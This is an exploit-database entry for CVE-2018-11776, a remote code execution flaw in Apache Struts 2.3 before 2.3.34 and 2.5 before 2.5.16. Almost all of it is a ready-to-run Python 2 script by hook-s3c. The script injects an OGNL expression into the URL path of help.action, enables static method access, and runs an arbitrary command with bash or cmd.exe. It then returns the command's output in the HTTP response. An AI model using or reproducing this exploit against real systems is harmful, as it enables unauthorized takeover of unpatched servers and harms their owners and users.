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Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2) Exploit

Author
hook-s3c
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-30966
Category
remote exploits
Date add
27-08-2018
CVE
CVE-2018-11776
Platform
multiple
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
 
import sys
import urllib
import urllib2
import httplib
 
 
def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)
 
    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"
 
    if not ":" in host:
        host = "{}:8080".format(host)
 
    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)
 
    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
 
    print "[Url]: {}\n\n\n".format(url)
 
    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response
 
 
if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

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